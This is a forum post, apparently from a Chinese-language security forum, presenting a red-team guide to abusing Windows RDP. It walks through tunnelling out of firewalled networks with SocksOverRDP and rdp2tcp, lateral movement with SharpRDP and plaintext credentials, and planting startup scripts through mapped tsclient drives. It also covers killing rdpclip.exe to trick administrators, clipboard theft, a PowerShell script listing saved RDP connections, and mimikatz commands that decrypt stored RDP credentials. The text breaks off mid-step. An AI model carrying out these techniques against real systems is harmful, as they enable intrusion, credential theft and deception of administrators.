taibeihacker
Moderator
红蓝对抗中 RDP 协议的利用
1 SocksOverRDP
1.1 工具介绍
當防火牆規則配置為:只有tcp/udp 3389 端口可以進行通信時,可以利用RDP 協議,建立Socks 通道。應用場景較為極端。
工具地址:https://github.com/nccgroup/SocksOverRDP
此工具在RDP 協議的基礎上實現了Socks 代理功能。 就像SSH 的-D 參數一樣,在連接後,利用RDP 協議實現代理功能。
該工具包含兩個部分:
.dll,需要在客戶端上進行註冊,並在每次運行時將其加載到遠程桌面客戶端的上下文運行環境中。
.exe,它是服務端組件,需要復製到服務器並執行。無需安裝,無需配置。
在遠程桌面連接的服務器端執行.exe 時,它會通過動態虛擬通道(RDP 協議的特性)連接回客戶端,並在客戶端啟動SOCKS 代理。該代理默認情況下偵聽127.0.0.1:1080,可以在瀏覽器或工具中將其配置為代理。
資訊
服務器上的程序不需要服務器端的任何特殊特權,還允許低特權用戶打開虛擬通道並通過連接進行代理。
1.2 工具测试
1.2.1 客户端
.dll 需要放置在客戶端計算機上的任何目錄中,為了方便使用,可以該文件複製到%SYSROOT%\system32\ 或%SYSROOT%\SysWoW64\ 環境變量下。使用以下命令進行安裝註冊該DLL:
regsvr32.exe SocksOverRDP-Plugin.dll
取消註冊:
regsvr32.exe /u SocksOverRDP-Plugin.dll
在RDP Client 中啟動mstsc.exe 時可以看到如下提示:

1.2.2 服务端
直接執行:SocksOverRDP-Server.exe 即可2 RDP to TCP
使用場景仍然是:由於防火牆的設置,只能連接一台Windows 服務器的遠程桌面,那麼如何以這台Windows 服務器為跳板進入內網2.1 工具介绍
工具地址:https://github.com/V-E-O/rdp2tcp工具原理:使用RDP 虛擬通道功能來復用端口
可用的功能:
正向TCP 端口轉發
反向TCP 端口轉發
處理標準輸入/輸出轉發
SOCKS5 代理
2.2 工具测试
2.2.1 下载并编译rdp2tcp
安裝mingw-w64apt-get install mingw-w64
下載rdp2tcp
git clone https://github.com/V-E-O/rdp2tcp.git
修改配置文件
rdp2tcp 默認不支持編譯64 位的exe,所以這裡需要修改配置文件,增加編譯64 位exe 的配置信息
修改文件Makefile,新的內容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
all: client server-mingw64
client: client/rdp2tcp
client/rdp2tcp:
make -C client
#server-mingw32: server/rdp2tcp.exe
#server/rdp2tcp.exe:
#make -C server -f Makefile.mingw32
server-mingw64: server/rdp2tcp64.exe
server/rdp2tcp64.exe:
make -C server -f Makefile.mingw64
clean:
make -C client clean
#make -C server -f Makefile.mingw32 clean
make -C server -f Makefile.mingw64 clean
make -C tools clean
新建文件/server/Makefile.mingw64,內容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BIN=rdp2tcp64.exe
CC=i686-w64-mingw32-gcc
CFLAGS=-Wall -g \
-D_WIN32_WINNT=0x0501 \
-I./common
# -D_WIN32_WINNT=0x0501
# -D_WIN32_WINNT=0x0501 -DDEBUG
LDFLAGS=-lwtsapi32 -lws2_32
OBJS=./common/iobuf.o \
./common/print.o \
./common/msgparser.o \
./common/nethelper.o \
./common/netaddr.o \
errors.o aio.o events.o \
tunnel.o channel.o process.o commands.o main.o
all: clean_common $(BIN)
clean_common:
$(MAKE) -C ./common clean
$(BIN): $(OBJS)
$(CC) -o $@ $(OBJS) $(LDFLAGS)
%.o: %.c
$(CC) $(CFLAGS) -o $@ -c $
clean:
rm -f $(OBJS) $(BIN)
編譯
make
2.2.2 使用 xfreerdp 连接远程桌面并建立通道
執行xfreerdp 並開啟TCP 重定向功能/opt/freerdp-nightly/bin/xfreerdp /v:IP:3389 /u:user /p

將rdp2tcp64.exe 上傳至RDP Server 並執行(不需要管理員權限)
在客戶端系統上啟動rdp2tcp.py
cd rdp2tcp/tools
python rdp2tcp.py
添加正向端口轉發(本地445 - 192.168.112.129:445)的命令如下:
python rdp2tcp.py add forward 127.0.0.1 445 192.168.112.129 445
3 利用 RDP 横向移动
3.1 测试
本節介紹的是如何在不通過GUI 客戶端和Socks 代理的情況下,基於RDP 協議進行橫向移動。Windows 下mstscax.dll 庫可以執行任何RDP 功能,此DLL 是Microsoft 終端服務的ActiveX COM 庫。通過利用此DLL,測試人員可以創建控制台應用程序,該控制台應用程序通過RDP 執行經過身份驗證的遠程命令執行,而無需GUI 客戶端或SOCKS 代理。
在Cobalt Strike 中執行:

直接執行命令:
SharpRDP.exe computername=dc01 command=calc username=offense\administrator password=123456
有兩種身份驗證方法,一種是提供純文本憑據(如上),另一種是使用受限管理模式的當前用戶上下文。受限管理模式是一種Windows 保護機制,它要求執行網絡類型登錄而不是交互式登錄,即PTH。
3.2 场景
有時在某些情況下,RDP 是執行橫向移動技術的首選方法,但使用傳統的RDP 客戶端GUI 可能很困難。因此,可以使用上述方法,將命令執行過程隱藏在RDP 協議中。其次,可以在沒有系統本地管理特權但對系統擁有RDP 權限的情況下利用RDP 進行橫向移動,可以利用BloodHound 進行信息收集。

4 RDP 挂盘反打
利用挂盤監控+ 注入啟動項進行攻擊4.1 原理
tsclient 是通過遠程桌面連接到遠程計算機時,在遠程計算機「網上鄰居」中出現的一個機器名,實際為遠程計算機分配給本機的名稱。通過\\tsclient\盤符可以在遠程計算機上訪問本機。其訪問方式類似於使用smb 進行文件傳輸,雖然本質上都是smb 協議,但是使用tsclient 無需身份認證,因此可以直接將通過預製手段,使用tsclient 反向感染。
4.2 利用
通常情況下,tsclient 的利用思路較為簡單,通過文件傳輸將惡意程序腳本寫入用戶的啟動(startup)文件夾,當機器重啟時,就會執行惡意程序腳本。工具:https://github.com/mdsecactivebreach/RDPInception/
4.3 限制条件
mstsc 需要開啟驅動器C 盤,但是默認情況下mstsc 是不開啟磁盤共享功能的。必須要手工開啟,如圖所示:
當開啟RDP 遠程訪問時,只有遠程登錄的用戶可以訪問tsclient。其他用戶無法訪問,包括使用runas 也無法訪問。
雖然限制條件較多,但在實際環境中,很多運維人員為了方便操作,通常會掛載磁盤,因此這一方法並非全然無用,需要根據實際情況判斷。猥瑣一些的思路:在腳本找不到掛載磁盤的情況下,直接結束rdpclip.exe 使管理員無法使用剪切板功能,迫使管理員在不清楚原因的狀況下,直接重新掛載上磁盤操作。
最後,不同於smb 上傳文件後使用計劃任務啟動,由於不知道被感染的機器用戶身份,因此只能依託於啟動項開機自啟動。因此,該攻擊方式對服務器攻擊效果較弱。
5 剪切板利用方法
除了利用文件傳輸以外,其實還可以嘗試利用剪切板劫持的方法進行反向攻擊。5.1 剪切板窃取
5.1.1 原理
在使用mstsc 進行遠程桌面的時候,會啟動一個叫rdpclip.exe 的進程,該進程的功能是同步服務端與客戶端的剪貼板。
而這個進程是一個十分有用的進程,如上文提到的,如果直接結束該進程,那麼在服務端(遠程機器)上將某些數據拷貝到客戶端(本地機器)上時,就會發現剪貼板失效,無法複製。
由於啟動該進程時,會自動同步剪切板內容,因此當目標目標機器與其他機器使用mstsc 建立RDP 遠程連接時,就可以通過讀取rdplicp.exe 進程數據,進行剪貼板竊取,以盡可能地獲取更多的信息。
此外,由於該進程是後台運行的,當管理員同時用遠程桌面登陸多個服務器,在其中的某一個服務器上進行複制拷貝操作時,會將數據同步到所有服務器的rdplicp.exe 進程。
5.1.2 利用
在empire 中有一個Get-ClipboardContents.ps1,可以用empire 或者coablt strike 加載該腳本。或者也可以自己編寫相關腳本使用。是一個相對簡單的工具。但是需要注意的是,與tsclient 類似,同計算機的不同用戶之間是無法讀取的,每一個用戶的rdplicp.exe 是獨立啟動的。
5.2 剪切板传输恶意文件
當我們用mstsc登陸了一台服務器後,在該服務器上按下複製操作時,會產生一系列操作。
5.2.1 原理
在遠程桌面時,使用剪切板傳輸一個文件的流程如下:1、在服務器上,“複製'操作會創建格式為“CF_HDROP” 的剪貼板數據
2、在客戶端計算機中執行「粘貼」時,將觸發一系列事件
3、要求服務器上的rdpclip.exe 進程提供剪貼板的內容,並將其轉換為FileGroupDescriptor(Fgd) 剪貼板格式
4、使用HdropToFgdConverter:AddItemToFgd() 函數,將文件的元數據添加到描述符中
5、完成後,將Fgd Blob 發送到服務器上的RDP 服務
6、服務器只是將其包裝並將其發送給客戶端
7、客戶端將其解包並將其存儲在自己的剪貼板中
8、「粘貼」事件將發送到當前窗口(例如,explorer.exe)
9、處理事件並從剪貼板讀取數據
10、通過RDP 連接接收文件的內容
5.2.2 利用
GitHub - qianshuidewajueji/CVE-2019-0887
Contribute to qianshuidewajueji/CVE-2019-0887 development by creating an account on GitHub.
GitHub - 0xedh/mstsc-path-traversal: mstsc.exe Path Traversal to RCE POC
mstsc.exe Path Traversal to RCE POC. Contribute to 0xedh/mstsc-path-traversal development by creating an account on GitHub.
6 RDP Thief
每次成功連接到遠程主機時,RDP 客戶端都會保存遠程主機的名稱(或IP地址)以及用於登陸的用戶名。再次啟動mstsc.exe 時,可以直接從列表中選擇遠程RDP 服務器的名稱,並且客戶端已自動填寫用於登陸的用戶名。6.1 获取连接历史记录
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
#
$AllUser=Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
$RegPath='Registry:HKEY_USERS\'+$User.SID+'\Software\Microsoft\Terminal Server Client\Servers\'
Write-Host 'User:'$User.Name
Write-Host 'SID:'$User.SID
Write-Host 'Status:'$User.Status
Try
{
$QueryPath=dir $RegPath -Name -ErrorAction Stop
}
Catch
{
Write-Host 'No RDP Connections History'
Write-Host '----------------------------------'
continue
}
foreach($Name in $QueryPath)
{
Try
{
$User=(Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
Write-Host 'User:'$User
Write-Host 'Server:'$Name
}
Catch
{
Write-Host 'No RDP Connections History'
}
}
Write-Host '----------------------------------'
}

6.2 破解 RDP 连接凭证
破解RDP 連接憑證的前提是用戶在連接遠程主機時勾選了保存保存憑證。查找本地的Credentials
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

使用mimikatz 進行操作
mimikatz dpapi:cred /in:C:\Users\by\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {ffc994a1-de8d-4304-9416-31e587f7a8ca}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : 00fed8ca7ec6d44585dd1fbd8b57e77b6ab0cf318ec5d52d09fd0694ffb89ccb
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : b49ef55f909fa503eda37ddc797c83c99df983920bfb4628e07aac5cb32bb530
dwDataLen : 000000b0 - 176
pbData : 4083f8f501b999a35c4aa57ce732bf52d30a6e604dac5a91b6fd3e65660c52a536025c5126f0d12b85044498deef08a8688b3459f49514ed6ae46271a1cb4cd0e70845d9b6beccbcbe85dead0fb7c80b4f7810add87b75c4 8592fcbfbbfd94fa4eee8004f8cf6d9619ef4b9af643f4c9ef0e8a2a5b0cd00530a5638cfd114fee4b735ac12eef2c7e6a0364845eb0ee4b3ab121e33324f8d5af48f3422bd47a76ab5e9e9e5a1a383e22fff8bf851b6a2a
dwSignLen : 00000040 - 64
pbSign : 7c8dbe7991c6af4d3bfc9f808790a0904738d0ca227bc2ee20ee26cbf06487dd2679e932b27ea0c0cbbe590ee6430641605d7001b2158c8873c5d6a09a9855a8
接下來需要使用的就是guidMasterKey、pbData 數據。 pbData 是憑據的加密數據,guidMasterKey 是憑據的GUID
使用sekurlsa:dpapi

根據目標憑據GUID:{ffc994a1-de8d-4304-9416-31e587